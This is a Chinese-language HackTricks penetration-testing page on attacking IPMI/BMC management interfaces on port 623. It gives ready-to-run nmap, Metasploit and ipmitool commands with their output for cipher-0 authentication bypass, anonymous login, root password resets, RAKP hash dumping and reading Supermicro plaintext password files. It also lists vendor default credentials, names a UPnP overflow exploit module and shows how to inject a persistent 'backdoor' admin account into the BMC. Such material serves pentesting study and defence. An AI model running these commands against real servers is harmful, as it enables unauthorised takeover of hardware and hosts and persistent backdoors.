14 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
基本信息
Intelligent Platform Management Interface(IPMI
)是一组用于硬件主机管理系统的标准化规范,用于系统管理和监控。它作为一个独立的子系统工作,独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统,即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作,不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级,而无需物理访问目标主机。IPMI通常以以下三种方式使用:
- 在操作系统引导之前修改BIOS设置
- 当主机完全关闭时
- 在系统故障后访问主机
当不用于这些任务时,IPMI可以监视各种不同的事物,如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源,但IPMI模块需要电源和LAN连接才能正常工作。
IPMI协议最初由英特尔于1998年发布,现在由200多个系统供应商支持,包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理,使系统管理员能够在带内查看串行控制台输出。为了正常工作,IPMI需要以下组件:
- 主板管理控制器(BMC)- IPMI的微控制器和基本组件
- 智能机箱管理总线(ICMB)- 允许一个机箱与另一个机箱进行通信的接口
- 智能平台管理总线(IPMB)- 扩展BMC
- IPMI内存- 存储系统事件日志、存储库数据等
- 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线
默认端口:623/UDP/TCP(通常使用UDP,但也可以在TCP上运行)
枚举
发现
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
您可以使用以下方法识别版本:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
漏洞 - 通过密码0绕过IPMI身份验证
Dan Farmer 发现了IPMI 2.0规范的一个严重缺陷,即密码类型0,表示客户端希望使用明文身份验证,实际上允许使用任何密码进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题,该问题可能涵盖所有IPMI 2.0实现。
请注意,要利用此问题,您首先需要找到一个有效的用户。
您可以使用以下方法识别此问题:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
而且你可以使用ipmitool
来滥用这个问题:
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索
基本上,你可以向服务器请求任何用户名的盐值哈希MD5和SHA1,如果用户名存在,这些哈希值将被发送回来。 是的,听起来很神奇。而且还有一个Metasploit模块可以用于测试(你可以选择John或Hashcat格式的输出):
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
请注意,对于此操作,您只需要一个用户名列表来进行暴力破解(metasploit已经包含了一个带有默认用户名的列表)。
使用ipmitool
绕过身份验证(-c 0
)来将root密码更改为abc123:
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
漏洞 - IPMI匿名认证
除了上述的认证问题外,丹·法尔默还指出,许多BMC默认启用了“匿名”访问。这是通过将第一个用户账户的用户名设置为空字符串,并将空密码设置为匹配来配置的。_ipmi_dumphashes_模块将识别并转储空用户账户的密码哈希(包括空密码)。**这个账户本身可能难以使用,但我们可以利用ipmitool
重置命名用户账户的密码,并利用该账户访问其他服务:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
漏洞 - Supermicro IPMI明文密码
IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法,如SHA1和MD5。这种身份验证过程存在一些严重的弱点,正如之前的示例所示,但也需要访问明文密码以计算身份验证哈希。这意味着BMC必须在非易失性存储器中存储所有配置的用户密码的明文版本。在Supermicro的情况下,此位置在固件版本之间会发生变化,但要么是**/nv/PSBlock
,要么是/nv/PSStore
**。密码分散在各种二进制块之间,但很容易识别,因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说,这是一个严重的问题。
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
漏洞 - Supermicro IPMI UPnP
Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT_X9_218之前的版本中,该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在由Rapid7在2013年2月披露的问题,并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限,而这在其他情况下很难获得。请记住,具有管理访问权限的攻击者,无论是通过网络还是从主机系统的root shell,都可以将Supermicro BMC的固件降级到一个存在漏洞的版本,然后利用它。一旦获得root访问权限,就可以从文件系统中读取明文凭据,安装其他软件,并将永久后门集成到BMC中,即使主机操作系统进行了完全重新安装,后门仍然存在。
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
暴力破解
请注意,只有惠普(HP)在制造过程中对密码进行随机化。
产品名称 | 默认用户名 | 默认密码 |
---|---|---|
HP Integrated Lights Out (iLO) | Administrator | <工厂随机化的8位字符> |
Dell Remote Access Card (iDRAC, DRAC) | root | calvin |
IBM Integrated Management Module (IMM) | USERID | PASSW0RD(0为零) |
Fujitsu Integrated Remote Management Controller | admin | admin |
Supermicro IPMI (2.0) | ADMIN | ADMIN |
Oracle/Sun Integrated Lights Out Manager (ILOM) | root | changeme |
ASUS iKVM BMC | admin | admin |
从BMC攻击主机
一旦获得对BMC的管理员访问权限,就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能,并将主机重启到root shell(在GRUB中使用init=/bin/sh)或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限,就可以轻松引入后门,从硬盘复制数据,或者执行任何需要进行的安全评估的操作。当然,这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多,这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态,使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话,则BMC可能允许使用ipmitool接口进行串行局域网(sol)的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限,例如i2c总线和Super I/O芯片。
从主机攻击BMC
在主机带有BMC并被入侵的情况下,可以使用本地接口来引入一个后门用户账户,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**ipmitool
**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口(不需要身份验证)将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
参考资料
- https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
- https://academy.hackthebox.com/module/112/section/1245
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。